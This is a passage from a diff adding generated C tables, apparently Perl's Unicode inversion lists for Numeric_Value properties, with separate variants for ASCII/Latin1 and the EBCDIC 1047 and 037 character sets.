+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__1_invlist[] = { /* for EBCDIC 037 */
+	239,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDA,
+	0xDB,
+	0xF1,
+	0xF2,
+	0x661,
+	0x662,
+	0x6F1,
+	0x6F2,
+	0x7C1,
+	0x7C2,
+	0x967,
+	0x968,
+	0x9E7,
+	0x9E8,
+	0xA67,
+	0xA68,
+	0xAE7,
+	0xAE8,
+	0xB67,
+	0xB68,
+	0xBE7,
+	0xBE8,
+	0xC67,
+	0xC68,
+	0xC79,
+	0xC7A,
+	0xC7C,
+	0xC7D,
+	0xCE7,
+	0xCE8,
+	0xD67,
+	0xD68,
+	0xDE7,
+	0xDE8,
+	0xE51,
+	0xE52,
+	0xED1,
+	0xED2,
+	0xF21,
+	0xF22,
+	0x1041,
+	0x1042,
+	0x1091,
+	0x1092,
+	0x1369,
+	0x136A,
+	0x17E1,
+	0x17E2,
+	0x17F1,
+	0x17F2,
+	0x1811,
+	0x1812,
+	0x1947,
+	0x1948,
+	0x19D1,
+	0x19D2,
+	0x19DA,
+	0x19DB,
+	0x1A81,
+	0x1A82,
+	0x1A91,
+	0x1A92,
+	0x1B51,
+	0x1B52,
+	0x1BB1,
+	0x1BB2,
+	0x1C41,
+	0x1C42,
+	0x1C51,
+	0x1C52,
+	0x2081,
+	0x2082,
+	0x215F,
+	0x2161,
+	0x2170,
+	0x2171,
+	0x2460,
+	0x2461,
+	0x2474,
+	0x2475,
+	0x2488,
+	0x2489,
+	0x24F5,
+	0x24F6,
+	0x2776,
+	0x2777,
+	0x2780,
+	0x2781,
+	0x278A,
+	0x278B,
+	0x3021,
+	0x3022,
+	0x3192,
+	0x3193,
+	0x3220,
+	0x3221,
+	0x3280,
+	0x3281,
+	0x4E00,
+	0x4E01,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5F0C,
+	0x5F0D,
+	0xA621,
+	0xA622,
+	0xA6E6,
+	0xA6E7,
+	0xA8D1,
+	0xA8D2,
+	0xA901,
+	0xA902,
+	0xA9D1,
+	0xA9D2,
+	0xA9F1,
+	0xA9F2,
+	0xAA51,
+	0xAA52,
+	0xABF1,
+	0xABF2,
+	0xFF11,
+	0xFF12,
+	0x10107,
+	0x10108,
+	0x10142,
+	0x10143,
+	0x10158,
+	0x1015B,
+	0x102E1,
+	0x102E2,
+	0x10320,
+	0x10321,
+	0x103D1,
+	0x103D2,
+	0x104A1,
+	0x104A2,
+	0x10858,
+	0x10859,
+	0x10879,
+	0x1087A,
+	0x108A7,
+	0x108A8,
+	0x108FB,
+	0x108FC,
+	0x10916,
+	0x10917,
+	0x109C0,
+	0x109C1,
+	0x10A40,
+	0x10A41,
+	0x10A7D,
+	0x10A7E,
+	0x10A9D,
+	0x10A9E,
+	0x10AEB,
+	0x10AEC,
+	0x10B58,
+	0x10B59,
+	0x10B78,
+	0x10B79,
+	0x10BA9,
+	0x10BAA,
+	0x10CFA,
+	0x10CFB,
+	0x10E60,
+	0x10E61,
+	0x11052,
+	0x11053,
+	0x11067,
+	0x11068,
+	0x110F1,
+	0x110F2,
+	0x11137,
+	0x11138,
+	0x111D1,
+	0x111D2,
+	0x111E1,
+	0x111E2,
+	0x112F1,
+	0x112F2,
+	0x11451,
+	0x11452,
+	0x114D1,
+	0x114D2,
+	0x11651,
+	0x11652,
+	0x116C1,
+	0x116C2,
+	0x11731,
+	0x11732,
+	0x118E1,
+	0x118E2,
+	0x11C51,
+	0x11C52,
+	0x11C5A,
+	0x11C5B,
+	0x11D51,
+	0x11D52,
+	0x12415,
+	0x12416,
+	0x1241E,
+	0x1241F,
+	0x1242C,
+	0x1242D,
+	0x12434,
+	0x12435,
+	0x1244F,
+	0x12450,
+	0x12458,
+	0x12459,
+	0x16A61,
+	0x16A62,
+	0x16B51,
+	0x16B52,
+	0x1D360,
+	0x1D361,
+	0x1D7CF,
+	0x1D7D0,
+	0x1D7D9,
+	0x1D7DA,
+	0x1D7E3,
+	0x1D7E4,
+	0x1D7ED,
+	0x1D7EE,
+	0x1D7F7,
+	0x1D7F8,
+	0x1E8C7,
+	0x1E8C8,
+	0x1E951,
+	0x1E952,
+	0x1F102,
+	0x1F103,
+	0x2092A,
+	0x2092B
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__1_SLASH_10_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD5C,
+	0xD5D,
+	0x2152,
+	0x2153
+};
+
+static const UV PL_NV__1_SLASH_12_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109F6,
+	0x109F7
+};
+
+static const UV PL_NV__1_SLASH_16_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9F4,
+	0x9F5,
+	0xB75,
+	0xB76,
+	0xD76,
+	0xD77,
+	0xA833,
+	0xA834
+};
+
+static const UV PL_NV__1_SLASH_160_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD58,
+	0xD59
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__1_SLASH_2_invlist[] = { /* for ASCII/Latin1 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBD,
+	0xBE,
+	0xB73,
+	0xB74,
+	0xD74,
+	0xD75,
+	0xF2A,
+	0xF2B,
+	0x2CFD,
+	0x2CFE,
+	0xA831,
+	0xA832,
+	0x10141,
+	0x10142,
+	0x10175,
+	0x10177,
+	0x109BD,
+	0x109BE,
+	0x109FB,
+	0x109FC,
+	0x10E7B,
+	0x10E7C,
+	0x12464,
+	0x12465
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__1_SLASH_2_invlist[] = { /* for EBCDIC 1047 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB8,
+	0xB9,
+	0xB73,
+	0xB74,
+	0xD74,
+	0xD75,
+	0xF2A,
+	0xF2B,
+	0x2CFD,
+	0x2CFE,
+	0xA831,
+	0xA832,
+	0x10141,
+	0x10142,
+	0x10175,
+	0x10177,
+	0x109BD,
+	0x109BE,
+	0x109FB,
+	0x109FC,
+	0x10E7B,
+	0x10E7C,
+	0x12464,
+	0x12465
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__1_SLASH_2_invlist[] = { /* for EBCDIC 037 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB8,
+	0xB9,
+	0xB73,
+	0xB74,
+	0xD74,
+	0xD75,
+	0xF2A,
+	0xF2B,
+	0x2CFD,
+	0x2CFE,
+	0xA831,
+	0xA832,
+	0x10141,
+	0x10142,
+	0x10175,
+	0x10177,
+	0x109BD,
+	0x109BE,
+	0x109FB,
+	0x109FC,
+	0x10E7B,
+	0x10E7C,
+	0x12464,
+	0x12465
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__1_SLASH_20_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD5B,
+	0xD5C
+};
+
+static const UV PL_NV__1_SLASH_3_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2153,
+	0x2154,
+	0x109F9,
+	0x109FA,
+	0x10E7D,
+	0x10E7E,
+	0x1245A,
+	0x1245B,
+	0x1245D,
+	0x1245E,
+	0x12465,
+	0x12466
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__1_SLASH_4_invlist[] = { /* for ASCII/Latin1 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBC,
+	0xBD,
+	0x9F7,
+	0x9F8,
+	0xB72,
+	0xB73,
+	0xD73,
+	0xD74,
+	0xA830,
+	0xA831,
+	0x10140,
+	0x10141,
+	0x1018B,
+	0x1018C,
+	0x109F8,
+	0x109F9,
+	0x10E7C,
+	0x10E7D,
+	0x12460,
+	0x12461,
+	0x12462,
+	0x12464
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__1_SLASH_4_invlist[] = { /* for EBCDIC 1047 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xB8,
+	0x9F7,
+	0x9F8,
+	0xB72,
+	0xB73,
+	0xD73,
+	0xD74,
+	0xA830,
+	0xA831,
+	0x10140,
+	0x10141,
+	0x1018B,
+	0x1018C,
+	0x109F8,
+	0x109F9,
+	0x10E7C,
+	0x10E7D,
+	0x12460,
+	0x12461,
+	0x12462,
+	0x12464
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__1_SLASH_4_invlist[] = { /* for EBCDIC 037 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xB8,
+	0x9F7,
+	0x9F8,
+	0xB72,
+	0xB73,
+	0xD73,
+	0xD74,
+	0xA830,
+	0xA831,
+	0x10140,
+	0x10141,
+	0x1018B,
+	0x1018C,
+	0x109F8,
+	0x109F9,
+	0x10E7C,
+	0x10E7D,
+	0x12460,
+	0x12461,
+	0x12462,
+	0x12464
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__1_SLASH_40_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD59,
+	0xD5A
+};
+
+static const UV PL_NV__1_SLASH_5_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD5E,
+	0xD5F,
+	0x2155,
+	0x2156
+};
+
+static const UV PL_NV__1_SLASH_6_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2159,
+	0x215A,
+	0x109F7,
+	0x109F8,
+	0x12461,
+	0x12462
+};
+
+static const UV PL_NV__1_SLASH_7_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2150,
+	0x2151
+};
+
+static const UV PL_NV__1_SLASH_8_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9F5,
+	0x9F6,
+	0xB76,
+	0xB77,
+	0xD77,
+	0xD78,
+	0x215B,
+	0x215C,
+	0xA834,
+	0xA835,
+	0x1245F,
+	0x12460
+};
+
+static const UV PL_NV__1_SLASH_9_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2151,
+	0x2152
+};
+
+static const UV PL_NV__10_invlist[] = { /* for all charsets */
+	101,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBF0,
+	0xBF1,
+	0xD70,
+	0xD71,
+	0x1372,
+	0x1373,
+	0x2169,
+	0x216A,
+	0x2179,
+	0x217A,
+	0x2469,
+	0x246A,
+	0x247D,
+	0x247E,
+	0x2491,
+	0x2492,
+	0x24FE,
+	0x24FF,
+	0x277F,
+	0x2780,
+	0x2789,
+	0x278A,
+	0x2793,
+	0x2794,
+	0x3038,
+	0x3039,
+	0x3229,
+	0x322A,
+	0x3248,
+	0x3249,
+	0x3289,
+	0x328A,
+	0x4EC0,
+	0x4EC1,
+	0x5341,
+	0x5342,
+	0x62FE,
+	0x62FF,
+	0xF973,
+	0xF974,
+	0xF9FD,
+	0xF9FE,
+	0x10110,
+	0x10111,
+	0x10149,
+	0x1014A,
+	0x10150,
+	0x10151,
+	0x10157,
+	0x10158,
+	0x10160,
+	0x10165,
+	0x102EA,
+	0x102EB,
+	0x10322,
+	0x10323,
+	0x103D3,
+	0x103D4,
+	0x1085B,
+	0x1085C,
+	0x1087E,
+	0x1087F,
+	0x108AD,
+	0x108AE,
+	0x108FD,
+	0x108FE,
+	0x10917,
+	0x10918,
+	0x109C9,
+	0x109CA,
+	0x10A44,
+	0x10A45,
+	0x10A9E,
+	0x10A9F,
+	0x10AED,
+	0x10AEE,
+	0x10B5C,
+	0x10B5D,
+	0x10B7C,
+	0x10B7D,
+	0x10BAD,
+	0x10BAE,
+	0x10CFC,
+	0x10CFD,
+	0x10E69,
+	0x10E6A,
+	0x1105B,
+	0x1105C,
+	0x111EA,
+	0x111EB,
+	0x1173A,
+	0x1173B,
+	0x118EA,
+	0x118EB,
+	0x11C63,
+	0x11C64,
+	0x16B5B,
+	0x16B5C,
+	0x1D369,
+	0x1D36A
+};
+
+static const UV PL_NV__100_invlist[] = { /* for all charsets */
+	61,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBF1,
+	0xBF2,
+	0xD71,
+	0xD72,
+	0x137B,
+	0x137C,
+	0x216D,
+	0x216E,
+	0x217D,
+	0x217E,
+	0x4F70,
+	0x4F71,
+	0x767E,
+	0x767F,
+	0x964C,
+	0x964D,
+	0x10119,
+	0x1011A,
+	0x1014B,
+	0x1014C,
+	0x10152,
+	0x10153,
+	0x1016A,
+	0x1016B,
+	0x102F3,
+	0x102F4,
+	0x103D5,
+	0x103D6,
+	0x1085D,
+	0x1085E,
+	0x108AF,
+	0x108B0,
+	0x108FF,
+	0x10900,
+	0x10919,
+	0x1091A,
+	0x109D2,
+	0x109D3,
+	0x10A46,
+	0x10A47,
+	0x10AEF,
+	0x10AF0,
+	0x10B5E,
+	0x10B5F,
+	0x10B7E,
+	0x10B7F,
+	0x10BAF,
+	0x10BB0,
+	0x10CFE,
+	0x10CFF,
+	0x10E72,
+	0x10E73,
+	0x11064,
+	0x11065,
+	0x111F3,
+	0x111F4,
+	0x11C6C,
+	0x11C6D,
+	0x16B5C,
+	0x16B5D
+};
+
+static const UV PL_NV__1000_invlist[] = { /* for all charsets */
+	39,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBF2,
+	0xBF3,
+	0xD72,
+	0xD73,
+	0x216F,
+	0x2170,
+	0x217F,
+	0x2181,
+	0x4EDF,
+	0x4EE0,
+	0x5343,
+	0x5344,
+	0x9621,
+	0x9622,
+	0x10122,
+	0x10123,
+	0x1014D,
+	0x1014E,
+	0x10154,
+	0x10155,
+	0x10171,
+	0x10172,
+	0x1085E,
+	0x1085F,
+	0x109DB,
+	0x109DC,
+	0x10A47,
+	0x10A48,
+	0x10B5F,
+	0x10B60,
+	0x10B7F,
+	0x10B80,
+	0x10CFF,
+	0x10D00,
+	0x11065,
+	0x11066,
+	0x111F4,
+	0x111F5
+};
+
+static const UV PL_NV__10000_invlist[] = { /* for all charsets */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x137C,
+	0x137D,
+	0x2182,
+	0x2183,
+	0x4E07,
+	0x4E08,
+	0x842C,
+	0x842D,
+	0x1012B,
+	0x1012C,
+	0x10155,
+	0x10156,
+	0x1085F,
+	0x10860,
+	0x109E4,
+	0x109E5,
+	0x16B5D,
+	0x16B5E
+};
+
+static const UV PL_NV__100000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2188,
+	0x2189,
+	0x109ED,
+	0x109EE
+};
+
+static const UV PL_NV__1000000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16B5E,
+	0x16B5F
+};
+
+static const UV PL_NV__100000000_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4EBF,
+	0x4EC0,
+	0x5104,
+	0x5105,
+	0x16B5F,
+	0x16B60
+};
+
+static const UV PL_NV__10000000000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16B60,
+	0x16B61
+};
+
+static const UV PL_NV__1000000000000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5146,
+	0x5147,
+	0x16B61,
+	0x16B62
+};
+
+static const UV PL_NV__11_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x216A,
+	0x216B,
+	0x217A,
+	0x217B,
+	0x246A,
+	0x246B,
+	0x247E,
+	0x247F,
+	0x2492,
+	0x2493,
+	0x24EB,
+	0x24EC
+};
+
+static const UV PL_NV__11_SLASH_12_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109BC,
+	0x109BD
+};
+
+static const UV PL_NV__11_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF2F,
+	0xF30
+};
+
+static const UV PL_NV__12_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x216B,
+	0x216C,
+	0x217B,
+	0x217C,
+	0x246B,
+	0x246C,
+	0x247F,
+	0x2480,
+	0x2493,
+	0x2494,
+	0x24EC,
+	0x24ED
+};
+
+static const UV PL_NV__13_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x246C,
+	0x246D,
+	0x2480,
+	0x2481,
+	0x2494,
+	0x2495,
+	0x24ED,
+	0x24EE
+};
+
+static const UV PL_NV__13_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF30,
+	0xF31
+};
+
+static const UV PL_NV__14_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x246D,
+	0x246E,
+	0x2481,
+	0x2482,
+	0x2495,
+	0x2496,
+	0x24EE,
+	0x24EF
+};
+
+static const UV PL_NV__15_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x246E,
+	0x246F,
+	0x2482,
+	0x2483,
+	0x2496,
+	0x2497,
+	0x24EF,
+	0x24F0
+};
+
+static const UV PL_NV__15_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF31,
+	0xF32
+};
+
+static const UV PL_NV__16_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9F9,
+	0x9FA,
+	0x246F,
+	0x2470,
+	0x2483,
+	0x2484,
+	0x2497,
+	0x2498,
+	0x24F0,
+	0x24F1
+};
+
+static const UV PL_NV__17_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16EE,
+	0x16EF,
+	0x2470,
+	0x2471,
+	0x2484,
+	0x2485,
+	0x2498,
+	0x2499,
+	0x24F1,
+	0x24F2
+};
+
+static const UV PL_NV__17_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF32,
+	0xF33
+};
+
+static const UV PL_NV__18_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16EF,
+	0x16F0,
+	0x2471,
+	0x2472,
+	0x2485,
+	0x2486,
+	0x2499,
+	0x249A,
+	0x24F2,
+	0x24F3
+};
+
+static const UV PL_NV__19_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16F0,
+	0x16F1,
+	0x2472,
+	0x2473,
+	0x2486,
+	0x2487,
+	0x249A,
+	0x249B,
+	0x24F3,
+	0x24F4
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__2_invlist[] = { /* for ASCII/Latin1 */
+	239,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x32,
+	0x33,
+	0xB2,
+	0xB3,
+	0x662,
+	0x663,
+	0x6F2,
+	0x6F3,
+	0x7C2,
+	0x7C3,
+	0x968,
+	0x969,
+	0x9E8,
+	0x9E9,
+	0xA68,
+	0xA69,
+	0xAE8,
+	0xAE9,
+	0xB68,
+	0xB69,
+	0xBE8,
+	0xBE9,
+	0xC68,
+	0xC69,
+	0xC7A,
+	0xC7B,
+	0xC7D,
+	0xC7E,
+	0xCE8,
+	0xCE9,
+	0xD68,
+	0xD69,
+	0xDE8,
+	0xDE9,
+	0xE52,
+	0xE53,
+	0xED2,
+	0xED3,
+	0xF22,
+	0xF23,
+	0x1042,
+	0x1043,
+	0x1092,
+	0x1093,
+	0x136A,
+	0x136B,
+	0x17E2,
+	0x17E3,
+	0x17F2,
+	0x17F3,
+	0x1812,
+	0x1813,
+	0x1948,
+	0x1949,
+	0x19D2,
+	0x19D3,
+	0x1A82,
+	0x1A83,
+	0x1A92,
+	0x1A93,
+	0x1B52,
+	0x1B53,
+	0x1BB2,
+	0x1BB3,
+	0x1C42,
+	0x1C43,
+	0x1C52,
+	0x1C53,
+	0x2082,
+	0x2083,
+	0x2161,
+	0x2162,
+	0x2171,
+	0x2172,
+	0x2461,
+	0x2462,
+	0x2475,
+	0x2476,
+	0x2489,
+	0x248A,
+	0x24F6,
+	0x24F7,
+	0x2777,
+	0x2778,
+	0x2781,
+	0x2782,
+	0x278B,
+	0x278C,
+	0x3022,
+	0x3023,
+	0x3193,
+	0x3194,
+	0x3221,
+	0x3222,
+	0x3281,
+	0x3282,
+	0x3483,
+	0x3484,
+	0x4E8C,
+	0x4E8D,
+	0x5169,
+	0x516A,
+	0x5F0D,
+	0x5F0E,
+	0x5F10,
+	0x5F11,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0xA622,
+	0xA623,
+	0xA6E7,
+	0xA6E8,
+	0xA8D2,
+	0xA8D3,
+	0xA902,
+	0xA903,
+	0xA9D2,
+	0xA9D3,
+	0xA9F2,
+	0xA9F3,
+	0xAA52,
+	0xAA53,
+	0xABF2,
+	0xABF3,
+	0xF978,
+	0xF979,
+	0xFF12,
+	0xFF13,
+	0x10108,
+	0x10109,
+	0x1015B,
+	0x1015F,
+	0x102E2,
+	0x102E3,
+	0x103D2,
+	0x103D3,
+	0x104A2,
+	0x104A3,
+	0x10859,
+	0x1085A,
+	0x1087A,
+	0x1087B,
+	0x108A8,
+	0x108A9,
+	0x1091A,
+	0x1091B,
+	0x109C1,
+	0x109C2,
+	0x10A41,
+	0x10A42,
+	0x10B59,
+	0x10B5A,
+	0x10B79,
+	0x10B7A,
+	0x10BAA,
+	0x10BAB,
+	0x10E61,
+	0x10E62,
+	0x11053,
+	0x11054,
+	0x11068,
+	0x11069,
+	0x110F2,
+	0x110F3,
+	0x11138,
+	0x11139,
+	0x111D2,
+	0x111D3,
+	0x111E2,
+	0x111E3,
+	0x112F2,
+	0x112F3,
+	0x11452,
+	0x11453,
+	0x114D2,
+	0x114D3,
+	0x11652,
+	0x11653,
+	0x116C2,
+	0x116C3,
+	0x11732,
+	0x11733,
+	0x118E2,
+	0x118E3,
+	0x11C52,
+	0x11C53,
+	0x11C5B,
+	0x11C5C,
+	0x11D52,
+	0x11D53,
+	0x12400,
+	0x12401,
+	0x12416,
+	0x12417,
+	0x1241F,
+	0x12420,
+	0x12423,
+	0x12424,
+	0x1242D,
+	0x1242E,
+	0x12435,
+	0x12436,
+	0x1244A,
+	0x1244B,
+	0x12450,
+	0x12451,
+	0x12456,
+	0x12457,
+	0x12459,
+	0x1245A,
+	0x16A62,
+	0x16A63,
+	0x16B52,
+	0x16B53,
+	0x1D361,
+	0x1D362,
+	0x1D7D0,
+	0x1D7D1,
+	0x1D7DA,
+	0x1D7DB,
+	0x1D7E4,
+	0x1D7E5,
+	0x1D7EE,
+	0x1D7EF,
+	0x1D7F8,
+	0x1D7F9,
+	0x1E8C8,
+	0x1E8C9,
+	0x1E952,
+	0x1E953,
+	0x1F103,
+	0x1F104,
+	0x22390,
+	0x22391
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__2_invlist[] = { /* for EBCDIC 1047 */
+	239,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xEA,
+	0xEB,
+	0xF2,
+	0xF3,
+	0x662,
+	0x663,
+	0x6F2,
